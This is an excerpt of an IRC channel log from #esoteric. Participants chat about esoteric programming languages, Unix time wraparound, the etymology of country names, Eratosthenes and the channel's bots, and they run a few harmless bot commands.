:^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :i can easialy port moi program to it < 1396201941 735255 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :^v: did you actually understand the example hello world in agony? < 1396201960 331291 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :yes < 1396201961 861580 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Now I'm hungry for fishstacks < 1396201966 881626 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :i even made an encoder for it < 1396201977 930571 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :^v: mind writing some kind of explanation? < 1396201985 560698 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :i didn't get it < 1396202024 820371 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :well each character is mapped to a 4 bit value < 1396202030 660270 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :^v: um fishstacks faithfully applies deadfish's 256 rule hth < 1396202034 670595 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :i get that < 1396202047 159881 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :oerjan, but it has a reset/push zero instruction < 1396202070 920428 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :the IP is two chars after the program when it start < 1396202089 570592 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :er, not ip < 1396202107 212511 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :and moves to the front, as far as i got it < 1396202126 593153 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :oh, that code at the end is actually "Hello world" backwards? < 1396202186 510015 :olsner!~salparot@c83-252-203-32.bredband.comhem.se QUIT :Quit: Leaving < 1396202187 300836 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :yes < 1396202189 421948 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :okay, easy < 1396202199 471328 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :i thought it meant to be executed < 1396202203 749726 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :that confused me a lot < 1396202212 952401 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :<[.<]$$$,$[>>>,{$~@~[~}~]+.~[{$++~*+{+{~@<- < 1396202362 54623 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :just wondering what an agony quine would look like < 1396202616 332846 :HackEgo!~HackEgo@162.248.166.242 QUIT :Ping timeout: 240 seconds < 1396203085 211915 :ket1v!~ket1v@147.69.37.57 JOIN :#esoteric < 1396203372 73436 :ket1v!~ket1v@147.69.37.57 QUIT :Ping timeout: 255 seconds < 1396203507 124114 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :sweet, a op in my favorite channel has forbid me from ever using esolangs < 1396203510 342366 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :ACTION sharpens knife < 1396203526 427963 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :use J instead < 1396203527 963465 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :cryptography time? < 1396204085 755808 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover QUIT :Ping timeout: 268 seconds < 1396204603 618092 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1396204638 948696 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1396204771 695748 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1396204905 955593 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 255 seconds < 1396204951 483969 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1396204951 769900 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1396205988 907158 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I should try to port Urbanoids to HTML5 < 1396206945 86991 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Read error: Connection reset by peer < 1396206972 945755 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1396207546 198403 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://en.wikipedia.org/w/index.php?title=Mophun&diff=452287513&oldid=444431767 < 1396207555 96208 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Well, this piece of vandalism lasted for yeasrs andr yea < 1396207556 181541 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :years < 1396207720 226807 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :it's a piece of art. < 1396208387 474829 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I made a template, that is transcluded in 84,687 places < 1396208435 339541 :olsner!~salparot@c83-252-203-32.bredband.comhem.se JOIN :#esoteric < 1396208456 391544 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :The entire page looks like vandalism < 1396209078 772511 :boily!~alexandre@207.112.101.232 JOIN :#esoteric < 1396209282 432622 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :JavaOnTheBrain made a reference to Mophun < 1396209753 418772 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :http://pvk.ca/Blog/2014/03/30/refactoring-with-lz77-compilation-is-compression/ what in heck < 1396209847 624232 :JesseH!~JesseH@oftn/member/JesseH JOIN :#esoteric < 1396210078 142299 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :(backstory of a game) < 1396210080 162761 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :"They said they had solved the year 2000 problem. < 1396210080 354342 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :They lied." < 1396210144 885015 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://www.javaonthebrain.com/java/noids/story.html < 1396211492 888520 :olsner!~salparot@c83-252-203-32.bredband.comhem.se QUIT :Quit: Leaving < 1396211725 92106 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :let's try again at the end of the unix epoch. < 1396211814 332594 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Oh. Some NTP trouble is to be expected first. < 1396211860 837137 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Wikipedia is so helpful. "[NTP] Implementations should disambiguate NTP time using a knowledge of the approximate time from other sources. Since NTP only works with the differences between timestamps and never their absolute values, the wraparound is invisible as long as the timestamps are within 68 years of each other." < 1396212095 416785 :boily!~alexandre@207.112.101.232 PRIVMSG #esoteric :`` echo $((4294967295 - $(date +%s))) < 1396212106 43873 :boily!~alexandre@207.112.101.232 PRIVMSG #esoteric :YYYAAAAAAURGH! < 1396212150 380591 :boily!~alexandre@207.112.101.232 QUIT :Quit: WeeChat 0.4.1 < 1396213107 919623 :fizziew!~1@a91-154-157-14.elisa-laajakaista.fi JOIN :#esoteric < 1396213116 489694 :fizziew!~1@a91-154-157-14.elisa-laajakaista.fi QUIT :Client Quit < 1396213393 773452 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Curious; HackEgo's online and answers to private messages just fine, it just hasn't joined the channel. < 1396213583 542910 :HackEgo!~HackEgo@162.248.166.242 JOIN :#esoteric < 1396213644 483072 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Told it to; I just hope it wasn't intentionally taken away. < 1396213773 967801 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Also re "backstory of a game", http://www.sanfransys.com/homepages/level9/wdreams.htm < 1396213844 993145 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(And http://www.sanfransys.com/homepages/level9/wreckers.htm but that's slightly more related to the actual game.) < 1396214670 236247 :xpte!uid17782@gateway/web/irccloud.com/x-pwysiqttghnytkmh JOIN :#esoteric < 1396214754 382214 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: leaving < 1396215040 828816 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl NICK :zom-b|zz < 1396215119 70942 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover JOIN :#esoteric < 1396215214 979516 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :hey, i made hello world in fishstacks :P iiisdsiiiiiiiipiiisisipiiisisiiiiiiiipiiisisiiiiiiiipiiisiisddddddddddpiiisddsdddddpiisiisddddpiiissiiiiiipiiisiisddddddddddpiiisiisdddddddpiiisisiiiiiiiipiiisispiisiisdddpppp < 1396215394 565275 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :http://atlasofprejudice.tumblr.com/post/80937352126/20-ways-to-slice-the-european-continent-from-atlas < 1396215540 245217 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :Tsvetkov, I have no hope of pronouncing that < 1396215550 512525 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it doesn't seem that hard? < 1396215554 868469 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :but I'm probably doin it wrong < 1396215580 485630 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :fag hags, lol < 1396215593 36633 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :hmm. 10 vs. 20 < 1396215598 309822 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i mean I even claim to be able to pronounce polish names sometimes but I'm probably deluding myself < 1396215612 903868 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :What's the circle in religious Europe? < 1396215622 29326 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :poland I think < 1396215659 888645 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :hm. < 1396215715 228117 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1396215724 40868 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :poland is like 250% catholic < 1396215728 528999 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Yes, Poland. they even had their own Pope ;) < 1396215887 476 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I think the church had a pretty big role in the fall of communism there < 1396215984 344860 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it's funny how English got "Warsaw" from a name that's pronounced more like "varshava" < 1396216072 70778 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :"Warsaw" is quite close to the german "Warschau". < 1396216092 475892 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :int-e: if you visit the Wieliczka Salt Mine you can see a statue of said pope as a pillar of salt, 100 meters underground < 1396216096 28253 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :http://www.tripadvisor.com/LocationPhotoDirectLink-g277819-d284943-i92455767-Wieliczka_Salt_Mine-Wieliczka_Lesser_Poland_Province_Southern_Poland.html < 1396216122 586704 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :interesting. < 1396216127 836516 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover PRIVMSG #esoteric : it's funny how English got "Warsaw" from a name that's pronounced more like "varshava" < 1396216132 455929 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I guess he looked the wrong way? < 1396216139 71752 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover PRIVMSG #esoteric :have you ever wondered how the fuck deutschland became germany < 1396216149 541284 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yes and I looked it up at some point < 1396216155 378601 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :but forgot < 1396216176 742295 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :also Alemania < 1396216181 945479 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Well, the people are often called the "Germanen" in german. < 1396216278 153335 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Also https://de.wikipedia.org/wiki/Alemannen ... so it's not unreasonable that the name would stick. < 1396216295 884953 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :It's much more reasonably than calling the native americans "indians". < 1396216309 941918 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yeah < 1396216318 472696 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover PRIVMSG #esoteric :well we all know that was just because columbus was a colossal idiot < 1396216333 569656 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :I wouldn't go that far < 1396216344 718702 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :He got quite a few things right, too. < 1396216354 560706 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover PRIVMSG #esoteric :he only set out because he got the size of the earth wrong < 1396216366 896100 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover PRIVMSG #esoteric :you know, that thing the ancient greeks measured accurately a millenium before < 1396216381 394419 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Yes, I know. < 1396216386 750222 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :https://www.youtube.com/watch?v=13RhSc-DaOI < 1396216422 478952 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :ACTION was looking for the bit that starts at 2:13, but it's all pretty amusing < 1396216549 400679 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :how did the greeks measure it < 1396216565 19571 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover PRIVMSG #esoteric :trig < 1396216565 657215 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :You've never heard the well story? < 1396216575 134424 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i forget most things i've ever heard < 1396216593 510504 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :https://www.youtube.com/watch?v=G8cbIWMv0rI < 1396216594 529744 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover PRIVMSG #esoteric :not even trig actually < 1396216601 638052 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :or just look up eratosthenes. < 1396216645 345738 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover PRIVMSG #esoteric :you find a point directly beneath the sun (hence the well), then walk a good way north, prop up a stick, measure the angle it makes with the sun from its shadow, and multiply < 1396216665 930502 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :cool < 1396216675 118221 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :they didn't know the speed of light though ;P < 1396216679 198928 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :much cooler imo < 1396216700 817841 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover PRIVMSG #esoteric :the speed of light was first determined by staring at the moons of jupiter right < 1396216728 919954 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I like that the Haskell wiki section on the Sieve of Eratosthenes cites Nicomachus in the original Greek < 1396216732 355573 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :(or used to) < 1396216776 284283 :zzo38!~zzo38@24-207-51-179.eastlink.ca QUIT :Ping timeout: 240 seconds < 1396216791 658177 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :nice. < 1396216798 448234 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :arg. I can't make out what he says after "assuming these truly are the Indies" < 1396216808 517473 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :reminds me of following taocp cites and finding mystic jewish text < 1396216819 419921 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :haha really < 1396216866 813330 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover PRIVMSG #esoteric :int-e, something along the lines "which, by the way, i've been meaning to talk to you about" < 1396217022 580827 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :found one transcript that says "which is something else I'd quite like to talk to you about at some point". < 1396217026 827183 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :tough < 1396217086 528795 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :kmc: he gives http://en.wikipedia.org/wiki/Sefer_Yetzirah as having factorials < 1396217136 336345 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :cool < 1396217156 482490 :MoALTz!~no@user-109-243-145-237.play-internet.pl QUIT :Quit: Leaving < 1396217190 13446 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :also a bunch of dharmic religion stuff since they had to come up with those huge numbers somehow < 1396218149 248201 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I want to do an "Introduction to Category Theory for Programmers" 30-minute talk < 1396218163 724643 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Which means I need to PLAN SUCH A TALK < 1396218173 274566 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover PRIVMSG #esoteric :"here is a bunch of arrows, it is called a category, everything is a category, talk over" < 1396218182 330011 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :computer science is the study of boxes and arrows < 1396218186 129814 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover PRIVMSG #esoteric :[i am bad a t talks] < 1396218230 599656 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :sometimes the boxes are circular < 1396218248 270281 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :they might have words and numbers inside them or not < 1396218379 511591 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :`thanks HackEgo < 1396218380 389275 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Thanks, HackEgo. ThackEgo. < 1396218393 666402 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :`run echo < bin/thanks < 1396218394 319887 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1396218399 894578 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :`cat bin/thanks < 1396218400 612922 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​#!/usr/bin/perl \ $_ = (join " ", @ARGV) || `words`; s/^\s+|\s+$//g; print "Thanks, $_. "; if (/[aeiouyAEIOUY]/) { s/^[^aeiouyAEIOUY]*/Th/; } else { s/^./T/; } print "$_."; < 1396219743 68587 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :does HackEgo have fishstacks? < 1396220327 713450 :Ghoul_!uid6924@gateway/web/irccloud.com/x-bntlggdoumnctvqx JOIN :#esoteric < 1396220514 709094 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :`thanks whacko < 1396220515 459617 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Thanks, whacko. Thacko. < 1396220794 857212 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :`cat bin/` < 1396220795 528299 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :exec bash -c "$1" < 1396220881 476997 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :`fun fact < 1396220882 179591 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: fun: not found < 1396220884 506359 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :`? fun fact < 1396220885 358278 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :fun fact 0 = 1 | fact n = n * fact (n - 1) < 1396220906 432918 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :lol < 1396220918 269347 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :is that actually a language? < 1396220926 194881 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :ML I think < 1396221048 708845 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :0 = 1, the funnest fact < 1396221274 15569 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :applybot, raw:ML "fun fact 0 = 1 | fact n = n * fact (n - 1); map fact [0,1,2,3,4,5]" < 1396221281 593293 :applybot!~applybot@unaffiliated/jafet PRIVMSG #esoteric : val fact = fn: int -> int \ val it = [1, 1, 2, 6, 24, 120]: int list < 1396221303 37770 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :applybot, help < 1396221303 227362 :applybot!~applybot@unaffiliated/jafet PRIVMSG #esoteric : Meta-commands: colour context help info load* restart shutdown* state timeout* undo unicode unload* \ Isabelle commands: apply by declare defer definition done find_theorems fun function lemma oops prefer primrec quickcheck term termination thm try0 typ unfolding using value < 1396221322 154484 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Oh god how many bots are there in this channel now < 1396221324 603711 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :> 1 < 1396221324 798395 :idris-ircslave!~ircslave@dslb-088-077-168-087.pools.arcor-ip.net PRIVMSG #esoteric :041 : 12Integer < 1396221325 790543 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : 1 < 1396221355 318103 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :i'd say about 10% < 1396221371 458704 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :fungot: Count the bots, please. < 1396221371 700150 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :fizzie: got a patch for volume 1. take horrible markup format rooted in history, then it is < 1396221403 897722 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :That's right, fungot, the bots aren't very loud. < 1396221404 268435 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Jafet: methinks that should be quite simple using the ideas of the semantics of the code < 1396221528 18955 :nooodl!~nooodl@91.177.77.176 QUIT :Quit: Ik ga weg < 1396221761 411448 :JesseH!~JesseH@oftn/member/JesseH QUIT :Ping timeout: 252 seconds < 1396222745 490218 :yorick!~yorick@oftn/member/yorick QUIT :Remote host closed the connection < 1396222918 303111 :JesseH!~JesseH@oftn/member/JesseH JOIN :#esoteric < 1396224017 479633 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :ACTION puzzles through http://z3.codeplex.com/SourceControl/latest#src/api/z3_api.h < 1396224021 369887 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :this is quite the polyglot < 1396224321 540056 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :This is quite the 7500-line header < 1396224675 146494 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :jesus < 1396224679 261422 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :ACTION hugs sbv < 1396224747 276291 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1396226411 638535 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1396226587 401886 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1396226587 625306 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1396227681 340916 :xpte!uid17782@gateway/web/irccloud.com/x-pwysiqttghnytkmh QUIT :Quit: Connection closed for inactivity < 1396227846 885138 :JesseH2!~JesseH@oftn/member/JesseH JOIN :#esoteric < 1396227929 861250 :Slereah_!~jackal@117.168.90.79.rev.sfr.net JOIN :#esoteric < 1396228011 141306 :tromp__!~tromp@rtc35-245.rentec.com JOIN :#esoteric < 1396228142 323870 :atehwa_!atehwa@aulis.sange.fi JOIN :#esoteric < 1396228418 769300 :sebbu!~sebbu@unaffiliated/sebbu QUIT :*.net *.split < 1396228419 369258 :Slereah!~jackal@117.168.90.79.rev.sfr.net QUIT :*.net *.split < 1396228420 623297 :tromp!~tromp@rtc35-245.rentec.com QUIT :*.net *.split < 1396228421 337526 :JesseH!~JesseH@oftn/member/JesseH QUIT :*.net *.split < 1396228423 676892 :jconn!~va@1-130.ipswich.cc.colocall.com QUIT :*.net *.split < 1396228423 863735 :lambdabot!~lambdabot@silicon.int-e.eu QUIT :*.net *.split < 1396228424 378695 :atehwa!atehwa@aulis.sange.fi QUIT :*.net *.split < 1396228705 747864 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :https://en.wikipedia.org/wiki/Plumpy'nut < 1396228716 627448 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :What about malnourished kids who are allergic to peanuts? < 1396228742 307705 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Oh, just saw the article mention that < 1396228771 380568 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :maybe... there's more than one kind of food..... < 1396228796 373256 :lambdabot!~lambdabot@silicon.int-e.eu JOIN :#esoteric < 1396228854 173438 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover PRIVMSG #esoteric :Sgeo_, it is a bit weird to use something so prone to awful side-effects... < 1396228924 225039 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :https://en.wikipedia.org/wiki/File:Nut_warning_1.jpg BE AFRAID < 1396228958 116241 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover PRIVMSG #esoteric :WARNING SO MANY FUCKING PEANUTS < 1396228991 867666 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :hehe nuts < 1396228993 327653 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I used to be scared to eat peanut products in public because was worried what if someone nearby had an allergy < 1396229050 861082 :Ghoul_!uid6924@gateway/web/irccloud.com/x-bntlggdoumnctvqx QUIT :Quit: Connection closed for inactivity < 1396229194 837449 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :what changed? < 1396229223 977649 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I think multiple people telling me not to worry about it < 1396229232 53790 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover PRIVMSG #esoteric :he became hard-heartedly numb to the fate of his fellow man < 1396229324 658358 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I was sick the other day, and in CVS, and a guy with a nasal ... tube, thing goes into the aisle I was in. What if I accidentally caused him to get sick :( < 1396229351 357616 :jconn!~va@1-130.ipswich.cc.colocall.com JOIN :#esoteric < 1396229378 541808 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover PRIVMSG #esoteric :nasal tube? you mean the food things? < 1396229385 296353 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :No < 1396229396 10205 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Like, a tube stretching from nose to elsewhere, I think for breathing < 1396229405 509969 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover PRIVMSG #esoteric :oh right those things < 1396229429 365876 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover PRIVMSG #esoteric :well if there was a serious risk do you think he'd be wandering around in public < 1396229462 224151 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover PRIVMSG #esoteric :"Sometimes more significant complications occur including erosion of the nose where the tube is anchored, esophageal perforation, pulmonary aspiration, a collapsed lung, or intracranial placement of the tube." -- wp's article on the food tube things < 1396229469 397449 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Usually you have those when you have trouble breathing. < 1396229491 196018 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover PRIVMSG #esoteric :how do you even explain that last one, "yeah the tube that was meant to go in your stomach ended up in your brain" < 1396229508 224688 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Illness isn't any *more* of a concern than it would be for any other old man though. < 1396229546 557976 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :My parents once threatened to get a food tube for me in order to get me to eat < 1396229691 713978 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover 